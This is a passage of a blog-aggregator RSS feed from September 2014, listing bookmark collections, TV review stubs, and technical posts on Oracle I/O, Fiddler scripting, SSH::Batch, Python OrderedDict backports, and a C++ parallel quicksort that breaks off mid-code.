&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Fri, 19 Sep 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/emacs-bookmarks</guid></item><item><title>The Real Comprehensive Terminal Guide</title><link>http://furbo.org/2014/09/03/the-terminal/</link><description>&lt;p&gt;Quite some time ago, in a life before this one, I wrote an article that gained quite a bit of attention titled, &amp;#8220;The Comprehensive Terminal Guide&amp;#8221;. Someday, I hope to update and re-release that piece here. Meanwhile, Craig Hockenberry wrote and published an even longer, even more in-depth, and undoubtedly much better article than mine simply titled, &amp;#8220;&lt;a href="http://furbo.org/2014/09/03/the-terminal/"&gt;The Terminal&lt;/a&gt;&amp;#8221;. Although he geared his more towards power users, users of all skill levels will find value in this monster of a piece. I consider myself fairly competent when it comes to the UNIX terminal, but Craig had already taught me a thing or two within the first few sections. If you have ever wanted to take better control of your computer, this is a great jumping-off point.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://furbo.org/2014/09/03/the-terminal/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 18 Sep 2014 14:02:21 GMT</pubDate><guid isPermaLink="true">http://furbo.org/2014/09/03/the-terminal/</guid></item><item><title>Breaking Bad: Season 5</title><link>https://olshansky.info/tv/breaking_bad_season_5/</link><description>Olshansky's review of Breaking Bad: Season 5</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 18 Sep 2014 05:59:01 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/breaking_bad_season_5/</guid></item><item><title>Game of Thrones: Season 4</title><link>https://olshansky.info/tv/game_of_thrones_season_4/</link><description>Olshansky's review of Game of Thrones: Season 4</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 18 Sep 2014 05:58:41 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/game_of_thrones_season_4/</guid></item><item><title>Entourage: Season 8</title><link>https://olshansky.info/tv/entourage_season_8/</link><description>Olshansky's review of Entourage: Season 8</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 18 Sep 2014 05:58:13 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/entourage_season_8/</guid></item><item><title>The Walking Dead: Season 5</title><link>https://olshansky.info/tv/the_walking_dead_season_5/</link><description>Olshansky's review of The Walking Dead: Season 5</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 18 Sep 2014 05:57:59 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/the_walking_dead_season_5/</guid></item><item><title>House of Cards: Season 2</title><link>https://olshansky.info/tv/house_of_cards_season_2/</link><description>Olshansky's review of House of Cards: Season 2</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 18 Sep 2014 05:57:47 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/house_of_cards_season_2/</guid></item><item><title>Arrow: Season 1</title><link>https://olshansky.info/tv/arrow_season_1/</link><description>Olshansky's review of Arrow: Season 1</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 18 Sep 2014 05:57:34 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/arrow_season_1/</guid></item><item><title>Arrow: Season 2</title><link>https://olshansky.info/tv/arrow_season_2/</link><description>Olshansky's review of Arrow: Season 2</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 18 Sep 2014 05:57:28 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/arrow_season_2/</guid></item><item><title>Arrow: Season 3</title><link>https://olshansky.info/tv/arrow_season_3/</link><description>Olshansky's review of Arrow: Season 3</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 18 Sep 2014 05:57:11 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/arrow_season_3/</guid></item><item><title>Frugal bookmarks</title><link>https://xenodium.com/frugal-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.acornishmum.com/9-great-frugal-blogs-in-the-uk/"&gt;9 Great Frugal Blogs in The UK - A Cornish Mum&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/UKFrugal/comments/ha28n9/any_tips_for_buying_cheap_red_wine/"&gt;Any tips for buying Cheap Red Wine? : UKFrugal&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mobile.asda.com/"&gt;Asda Mobile | Pay as you go SIM (Order your free SIM)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.getrichslowly.org/best-cheap-coffee/"&gt;Beating the latte factor: My quest for the best cheap coffee&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.biggreensmile.com/departments/dishwashing.aspx?deptid=DISHES"&gt;Big green smile (eco bulk buys)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.broadband.co.uk"&gt;Broadband.co.uk Dedicated to finding the best broadband for you&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/BuyItForLife/"&gt;Buy it for life: Durable, Quality, Practical (Reddit)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.pricegrabber.com/"&gt;Check online store ratings and save money with deals at PriceGrabber.com&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://frugalmoneyman.com/2018/03/23/emergency-fund-before-yolo/"&gt;Emergency Fund Before YOLO - Frugal Money Man&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/FreeEBOOKS"&gt;FreeEBOOKS (subreddit)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://frugalfun4boys.com/"&gt;Frugal Fun For Boys and Girls - Learning, Play, STEM Activities, and Thing to Do! (home experiments for kids)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.frugalqueeninfrance.com/"&gt;Frugal Queen in France&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://m.aliexpress.com/"&gt;Global Online Shopping for Apparel, Phones, Computers, Electronics, Fashion and more on Aliexpress&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.telegraph.co.uk/gardening/problem-solving/adopt-wayward-plant/"&gt;How to Adopt a Wayward Plant (The Telegraph)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.getrichslowly.org/best-quality-for-less/"&gt;How to find the best quality for less, but it for life, (Get Rich Slowly)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ethical.net/ethical/homemade-sustainable-cleaning-products/"&gt;How to Make Your Own Sustainable Cleaning Products (ethical.net)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://cookingonabootstrap.com/2015/11/12/how-to-shop-on-a-budget/"&gt;How To Shop On A Budget – from A Girl Called Jack (Jack Monroe)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://iforcemarketzone.com"&gt;iForce marketzone&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://m.youtube.com/watch"&gt;Keeping your house cooled (video)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://meanqueen-lifeaftermoney.blogspot.com/p/my-money-saving-tips.html"&gt;Life After Money: My money saving tips&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.molecountrystores.co.uk"&gt;Mole Country Stores: Agricultural and Rural Retailer (clothing)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thehumblepenny.com/"&gt;The Humble Penny (Create Financial Joy)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.twotogether-railcard.co.uk/"&gt;Two together railcard&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/UKFrugal/comments/ctgzl6/ukfrugal_health_and_beauty_list/"&gt;UKFrugal: Health and Beauty list : UKFrugal&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.choosefi.com/want-to-buy-it-for-life-consider-this/"&gt;Want To Buy It For Life? (lots of item suggestions)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/UKPersonalFinance/comments/ekavj5/what_are_the_best_bits_about_lidl/"&gt;What are the best bits about lidl? : UKPersonalFinance&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.quora.com/What-should-you-not-say-when-buying-a-car"&gt;What should you not say when buying a car? - Quora&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Thu, 18 Sep 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/frugal-bookmarks</guid></item><item><title>Charities bookmarks</title><link>https://xenodium.com/charities-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://uk.whogivesacrap.org"&gt;Toilet paper that builds toilets (Who Gives A Crap UK)&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Thu, 18 Sep 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/charities-bookmarks</guid></item><item><title>Origami bookmarks</title><link>https://xenodium.com/origami-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v%3DlA5v3podPwo&amp;amp;feature%3Dem-subs_digest"&gt;Origami - How to make a WASTEBASKET&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.origami-fun.com/"&gt;Origami That's Fun And Easy&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Thu, 18 Sep 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/origami-bookmarks</guid></item><item><title>About index range scans, disk re-reads and how your new car can go 600 miles per hour!</title><link>https://tanelpoder.com/2014/09/17/about-index-range-scans-disk-re-reads-and-how-your-new-car-can-go-600-miles-per-hour/</link><description>&lt;p&gt;Despite the title, this is actually a technical post about Oracle, disk I/O and Exadata &amp;amp; Oracle In-Memory Database Option performance. Read on :)&lt;/p&gt;
&lt;p&gt;If a car dealer tells you that this fancy new car on display goes 10 times (or 100 or 1000) faster than any of your previous ones, then either the salesman is lying &lt;em&gt;or&lt;/em&gt; this new car is doing something &lt;strong&gt;&lt;em&gt;radically different&lt;/em&gt;&lt;/strong&gt; from all the old ones. You don’t just get orders of magnitude performance improvements by making small changes.&lt;/p&gt;
&lt;p&gt;Perhaps the car &lt;a href="http://en.wikipedia.org/wiki/Warp_drive" rel="noopener" target="_blank"&gt;bends space&lt;/a&gt; around it instead of moving – or perhaps it has a jet engine built on it (like the one below :-) :&lt;/p&gt;</description><author>Tanel Poder Blog</author><pubDate>Wed, 17 Sep 2014 11:56:02 GMT</pubDate><guid isPermaLink="true">https://tanelpoder.com/2014/09/17/about-index-range-scans-disk-re-reads-and-how-your-new-car-can-go-600-miles-per-hour/</guid></item><item><title>Diving into an Active Volcano</title><link>http://www.outsideonline.com/featured-videos/adventure-videos/nature/Diving-into-an-Active-Volcano.html</link><description>&lt;p&gt;This is just incredible.&lt;/p&gt;

&lt;p&gt;We as a species have a tendency to hold ourselves above all things both animate and inanimate in this world. Humans place themselves above nature, animals, and even one another. The trope of an invincible teenager is not exclusive to that age group, for at some level we all consider ourselves untouchable. And then, in the midst of this mis-placed mixture of entitlement and pride, videos like this appear to put us in our place&amp;#160;&amp;#8212;&amp;#160;to exhibit our insignificance and utter frailty in the face of the majesty belonging to that which we so often disregard.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.outsideonline.com/featured-videos/adventure-videos/nature/Diving-into-an-Active-Volcano.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 17 Sep 2014 11:35:58 GMT</pubDate><guid isPermaLink="true">http://www.outsideonline.com/featured-videos/adventure-videos/nature/Diving-into-an-Active-Volcano.html</guid></item><item><title>Exceptions as a feature</title><link>https://smetj.net/exceptions_as_a_feature.html</link><description>&lt;p&gt;&lt;a class="reference external" href="http://wishbone.readthedocs.org/en/latest/"&gt;Wishbone&lt;/a&gt; &lt;a class="reference external" href="http://wishbone.readthedocs.org/en/latest/wishbone%20module.html"&gt;modules&lt;/a&gt; process and transport messages in one way or the other.
Obviously, this needs to happen as reliable as possible.  &lt;a class="reference external" href="http://wishbone.readthedocs.org/en/latest/"&gt;Wishbone&lt;/a&gt; has a
particular way of dealing with &lt;a class="reference external" href="https://docs.python.org/2/tutorial/errors.html"&gt;exceptions&lt;/a&gt;.  In this article we cover the
role unhandled code &lt;a class="reference external" href="https://docs.python.org/2/tutorial/errors.html"&gt;exceptions&lt;/a&gt; can play and how we can take advantage of
them …&lt;/p&gt;</description><author>Jelle Smet</author><pubDate>Tue, 16 Sep 2014 22:00:00 GMT</pubDate><guid isPermaLink="true">https://smetj.net/exceptions_as_a_feature.html</guid></item><item><title>A Bionic Fan Surprises Matt Alexander</title><link>https://twitter.com/mattalexand/status/511236170127536129</link><description>&lt;p&gt;I don&amp;#8217;t link to these kinds of things often, but this time I just couldn&amp;#8217;t resist: for all you Bionic fans out there, a true fan surprised Matt Alexander at XOXO this year. Hilarious.&lt;/p&gt;


                &lt;p&gt;&lt;a href="https://twitter.com/mattalexand/status/511236170127536129"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 16 Sep 2014 16:06:13 GMT</pubDate><guid isPermaLink="true">https://twitter.com/mattalexand/status/511236170127536129</guid></item><item><title>Getting to Know Fiddler: Part VI: Use FiddlerScript to identify common problems</title><link>https://joshuarogers.net/articles/2014-09/getting-know-fiddler-part-vi/</link><description>Our tour of Fiddler has covered a lot of ground so far, and while there's still more to cover, I'm going to have to let you in on a secret before we can continue. The UI is definitely powerful, but here's the thing: it's not the killer feature. The real killer feature is FiddlerScript.
Getting Started Fiddler already detects invalid requests and broken responses. What more could we possibly add, you might ask.</description><author>Joshua Rogers</author><pubDate>Tue, 16 Sep 2014 15:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2014-09/getting-know-fiddler-part-vi/</guid></item><item><title>SSH::Batch - Simple remote shell commands</title><link>https://www.brightball.com/articles/sshbatch-simple-remote-shell-commands</link><description>SSH::Batch is a simple command line tool, written in Perl, that allows you to run shell commands over SSH across multiple servers. These days it seems most people turn to Puppet / Chef / Ansible for that type of thing, but sometimes your needs aren't that complicated. For that, SSH::Batch fills the gap nicely and it's really simple to get started.</description><author>Brightball Articles</author><pubDate>Tue, 16 Sep 2014 04:10:00 GMT</pubDate><guid isPermaLink="true">https://www.brightball.com/articles/sshbatch-simple-remote-shell-commands</guid></item><item><title>Ordered Dictionaries with Python 2.4-2.6</title><link>https://nicolaiarocci.com/ordered-dictionaries-with-python-2-4-2-6/</link><description>&lt;p&gt;&lt;a href="https://docs.python.org/2/library/collections.html#collections.OrderedDict"&gt;OrderedDict&lt;/a&gt; is a super handy data structure.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;An OrderedDict is a dict that remembers the order that keys were first inserted. If a new entry overwrites an existing entry, the original insertion position is left unchanged. Deleting an entry and reinserting it will move it to the end.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Problem is, this stuff is only available in the standard library since Python 2.7 while &lt;a href="http://python-eve.org"&gt;my project&lt;/a&gt; also needs to support Python 2.6. Fortunately there’s a back-port available and it is only a pip install away:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# make OrderedDict available on Python 2.6-2.4
$ pip install ordereddict
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href="https://pypi.python.org/pypi/ordereddict"&gt;ordereddict&lt;/a&gt; is based on the awesome recipe by &lt;a href="http://code.activestate.com/recipes/576693"&gt;Raymond Hettinger&lt;/a&gt;, works with Python 2.4-2.6 and, most importantly, is a drop-in replacement for OrderedDict.&lt;/p&gt;
&lt;p&gt;However if you want your code to run seamlessly on all Pythons there’s still some work to be done. First of all you want to make sure that the appropriate OrderedDict is imported, either the standard library version (for Python 2.7 and above) or the back-port release.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Tue, 16 Sep 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/ordered-dictionaries-with-python-2-4-2-6/</guid></item><item><title>CSV To Markdown Table Generator</title><link>https://donatstudios.com/CsvToMarkdownTable</link><description>&lt;p&gt;&lt;strong&gt;Update July 8, 2019&lt;/strong&gt;: Added more graceful pipe &lt;code&gt;|&lt;/code&gt; and backslash &lt;code&gt;\&lt;/code&gt; handling.&lt;/p&gt;
&lt;p&gt;While doing code reviews on GitHub I find myself profiling a lot of SQL queries, getting &lt;code&gt;EXPLAIN&lt;/code&gt; output into a markdown format for GitHub became very important, and was a huge pain to do by hand.&lt;/p&gt;
&lt;p&gt;While there were tools out there, nothing I could easily copy and paste tab seperated query results into, so I created this. The markdown this outputs should work with most table supporting Markdowns flavors such as Markdown Extra and GitHub Flavored Markdown.&lt;/p&gt;
&lt;p&gt;The default tab separated setting is very useful for pasting straight from Excel or other tabular data sources like SQL editors.&lt;/p&gt;
&lt;fieldset&gt; &lt;center&gt;&lt;small&gt;&lt;a href="https://github.com/donatj/CsvToMarkdownTable" target="_blank"&gt;Fork my source on GitHub!&lt;/a&gt;&lt;/small&gt;&lt;/center&gt;&lt;/fieldset&gt;
&lt;p&gt;Caveat - while it does &lt;em&gt;essentially&lt;/em&gt; parse CSV it is not quotation mark aware.  If need or demand arises I may look into it.&lt;/p&gt;
&lt;p&gt;The script is available on &lt;a href="https://github.com/donatj/CsvToMarkdownTable"&gt;GitHub&lt;/a&gt; and &lt;em&gt;is&lt;/em&gt; Node.js ready. More details can be found on GitHub. It is also available via &lt;a href="https://www.npmjs.com/package/csv-to-markdown-table"&gt;npm&lt;/a&gt;.&lt;/p&gt;</description><author>Donat Studios</author><pubDate>Mon, 15 Sep 2014 05:37:12 GMT</pubDate><guid isPermaLink="true">https://donatstudios.com/CsvToMarkdownTable</guid></item><item><title>This Week in Podcasts</title><link>https://zacs.site/blog/this-week-in-podcasts-9814.html</link><description>&lt;p&gt;This week we see the return of my favorite podcast, Roderick on the Line, to this list with an even better episode than usual. Also making an appearance we have The Campfire Project, Exponent, and Grit; a fantastic roster, if I do say so myself.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/this-week-in-podcasts-9814.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 14 Sep 2014 22:03:01 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/this-week-in-podcasts-9814.html</guid></item><item><title>Concurrency: Getting started</title><link>https://whackylabs.com/concurrency/2014/09/14/concurrency-getting-started/</link><description>&lt;p&gt;The time everybody was speculating for so long has finally arrived. The processors aren’t getting any faster. The processors are hitting the physical thresholds. If we try to run the processors, as they are with current technology, they’re getting over-heated. Moore’s law is breaking down. Quoting Herb Sutter, ‘The free lunch is over‘.&lt;/p&gt;

&lt;p&gt;If you want your code to run faster on new generation of hardware, you have to consider concurrency. All modern computing devices have multi-cores in built. More and more languages, toolkits, libraries, frameworks are providing support of concurrency. Let’s talk about concurrency.&lt;/p&gt;

&lt;p&gt;Starting from today, I’ll be experimenting with multithreading. I’ll be using the following technologies. First is the C++11 thread library that ships with the C++11 standard. Second is the libdispatch or Grand Central Dispatch (GCD) that is developed by Apple. Although, GCD isn’t a pure threading library. It’s more of a concurrency library that is built over threads. In GCD we normally think in terms of tasks and queues. It’s a level above threads. And, the third is NSOperation. NSOperation is another level up from GCD. NSOperation is pure OOP oriented concurrency API. I’ve used it quite often with Objective-C and I’m sure it works as smoothly with Swift.&lt;/p&gt;

&lt;p&gt;Let’s start with our first experiment. Dividing a huge task into smaller chunks and let them run in parallel to each other.&lt;/p&gt;

&lt;p&gt;So, first question, what task should we pick. Let’s pick sorting of a dataset. Lets say, we’ve an huge array and we want to sort it. We could do it using the famous Quicksort algorithm as:&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;    &lt;span class="k"&gt;template&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;typename&lt;/span&gt; &lt;span class="nc"&gt;T&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;QuickSort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;vector&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;size_t&lt;/span&gt; &lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;size_t&lt;/span&gt; &lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        
        &lt;span class="cm"&gt;/* move pivot to left */&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;swap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
        &lt;span class="kt"&gt;size_t&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        
        &lt;span class="cm"&gt;/* swap all lesser elements */&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;swap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        
        &lt;span class="cm"&gt;/* move pivot back */&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;swap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;

        &lt;span class="cm"&gt;/* sort subarrays */&lt;/span&gt;
        &lt;span class="n"&gt;QuickSort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;QuickSort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The algorithm is pretty straightforward. Given a list of unsorted data, in each iteration we pick a pivot element and sort that element by moving all smaller elements on the left side and all larger elements on right. By the end of the iteration, our pivot element is in the sorted position with we have two unsorted subarrays.&lt;/p&gt;

&lt;p&gt;This algorithm is a prefect pick for concurrency. As in each iteration we get our problem divided into two independent sub problems that we can easily execute in parallel.&lt;/p&gt;

&lt;p&gt;Here’s my first approach:&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;    &lt;span class="k"&gt;template&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;typename&lt;/span&gt; &lt;span class="nc"&gt;T&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;QuickerSort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;vector&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;size_t&lt;/span&gt; &lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;size_t&lt;/span&gt; &lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        
